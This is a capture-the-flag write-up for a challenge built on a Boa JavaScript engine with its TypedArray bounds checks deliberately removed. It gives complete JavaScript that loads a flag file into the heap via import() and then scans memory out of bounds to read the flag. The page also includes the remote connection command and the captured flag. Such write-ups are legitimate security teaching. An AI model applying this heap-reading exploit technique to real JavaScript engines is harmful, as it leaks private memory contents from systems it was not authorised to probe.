Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
PwnMedium

Js

CTF writeup for Js from Bsides

//js

>Challenge Overview

  • Category: Pwn (JavaScript engine exploitation)
  • Binary: Patched boa JS engine with a Python harness (dist/run.py)
  • Remote: ncat --ssl pwn.ctf-bsides-algiers-2k25.shellmates.club 1405
  • Goal: Read flag.txt located next to the binary (at least /home/ctf/flag.txt remotely)

>TL;DR

A supplied diff (dist/challenge.diff) shows the maintainer removed bounds checks from Boa's TypedArray implementation. That turns every typed array read/write into an arbitrary out-of-bounds primitive. By first attempting to import() the flag file, Boa copies the flag bytes into its heap even though parsing fails. The exploit then linearly scans the heap through an oversized typed array index, locates the bytes shellmates{, and prints characters until }. The same script works locally and remotely, yielding shellmates{1_GuE$s_1t$_$0LvaBLe_xdddddddd}.


>Step 1 – Recon & Environment Setup

bash

$ unzip -o dist.zip

$ cd dist

$ ./boa --version

Boa is a Javascript lexer, parser and compiler written in Rust.

Inspecting the provided diff immediately highlights the core bug:

  • TypedArray indices are now served via get_unchecked / get_unchecked_mut without bounds validation.
  • TypedArray::validate_index no longer ensures index < length.

This means arr[someLargeIndex] returns whatever bytes follow the buffer in memory.

>Step 2 – Triggering Side-Effects with import()

Before going for the flag, I checked how Boa reports parsing failures to ensure I could silence errors. Helper script (dist/import_test.js):

jsx

import('./flag.txt', { assert: { type: 'json' } }).catch((e) => {

  console.log('message', e.message);

  console.log('cause', e.cause?.message);

});

Output:

message could not parse module `./flag.txt` cause expected token ';', got '{' in expression statement at line 1, col 11

Even though parsing fails, Boa still reads the file into memory – exactly what we need for later leakage.

>Step 3 – Demonstrating the OOB Primitive

To confirm the OOB behaviour, I wrote dist/oob_test.js:

jsx

const buf = new ArrayBuffer(0x40);

const arr = new Uint8Array(buf);

for (let i = 0; i < arr.length; i++) arr[i] = 0x41;

const results = [];

for (let i = 0; i < 16; i++) {

  const value = arr[0x1000 + i];

  results.push(value ?? null);

}

console.log('results', results);

Execution:

$ ./boa oob_test.js results [ 160, 121, 133, 222, 106, 117, 252, 127, ... ]

The values clearly come from outside the 0x40-byte buffer, proving unauthorised memory access.

>Step 4 – Memory Scanning Helper

Once I knew arbitrary reads were possible, I built a scanner to locate shellmates{ anywhere in memory. Script (dist/scan.js):

jsx

const buf = new ArrayBuffer(0x10);

const arr = new Uint8Array(buf);

const target = Array.from('shellmates{').map((c) => c.charCodeAt(0));

const matches = [];

for (let i = 0; i < 0x100000; i++) {

  let ok = true;

  for (let j = 0; j < target.length; j++) {

    if (arr[i + j] !== target[j]) { ok = false; break; }

  }

  if (ok) { matches.push(i); i += target.length - 1; }

}

console.log('matches', matches);

Running it after the import() call yielded readable strings, confirming the method works:

matches [ 83183 ] bytes [ 115, 104, 101, 108, 108, 109, 97, 116, 101, 115, 123, 109, 97, 112, 99, ... ] found string shellmates{mapc

The snippet shellmates{mapc proved the flag bytes were now accessible.

>Step 5 – Final Exploit

The consolidated exploit (dist/exploit.js) combines the import trick and scanner:

jsx

async function main() {

  const arr = new Uint8Array(new ArrayBuffer(0x1000));

  const candidates = ['/home/ctf/flag.txt', './flag.txt'];

  for (const path of candidates) {

    try {

      await import(path);

      break;

    } catch (err) {

      // parsing fails but data stays in heap

    }

  }

  const target = [115,104,101,108,108,109,97,116,101,115,123];

  const max = 0x200000;

  let found = -1;

  outer: for (let i = 0; i < max; i++) {

    for (let j = 0; j < target.length; j++) {

      if (arr[i + j] !== target[j]) continue outer;

    }

    found = i;

    break;

  }

  if (found === -1) { console.log('not found'); return; }

  let result = '';

  for (let k = 0; k < 0x80; k++) {

    const byte = arr[found + k];

    if (byte === 0) break;

    result += String.fromCharCode(byte);

    if (byte === 125) break;

  }

  console.log(result);

}

main();

void 0;

Key points:

  • The typed array arr never resizes, but we read huge offsets thanks to the missing bounds checks.
  • void 0; ensures Boa prints only the console output, not Promise { <pending> }.

Local proof

$ ./boa exploit.js shellmates{fake_flag}

(The provided local flag is a decoy.)

Remote proof

$ (cat exploit.js; echo EOF) | ncat --ssl pwn.ctf-bsides-algiers-2k25.shellmates.club 1405 shellmates{1_GuE$s_1t$_$0LvaBLe_xdddddddd}

>How the Idea Came Together

  1. Diff-Driven Recon: The diff explicitly replaced every safe slice accessor with get_unchecked. That screamed "OOB typed array".
  2. Heap-Residency Trick: Experience with JS engines suggested import() or fetch() would read arbitrary files into memory before failure. Testing with import_test.js validated that assumption.
  3. Progressive Tooling: I wrote tiny scripts (oob_test.js, then scan.js) to observe memory layout before building the final exploit.
  4. Timeout Considerations: import() plus scanning must finish within the harness’ 15-second limit. Limiting the scan to ~2 MB (max = 0x200000) kept runtime low enough for remote success.

>References

  1. Boa source tree (official): https://github.com/boa-dev/boa
  2. Patched diff (from challenge package): dist/challenge.diff
  3. ECMA-262 TypedArray specification (motivation for bounds checks): https://tc39.es/ecma262/#sec-typedarray-objects

>Files Created During Solving

These incremental helpers made the final exploit straightforward and reproducible.


Flag: shellmates{1_GuE$s_1t$_$0LvaBLe_xdddddddd}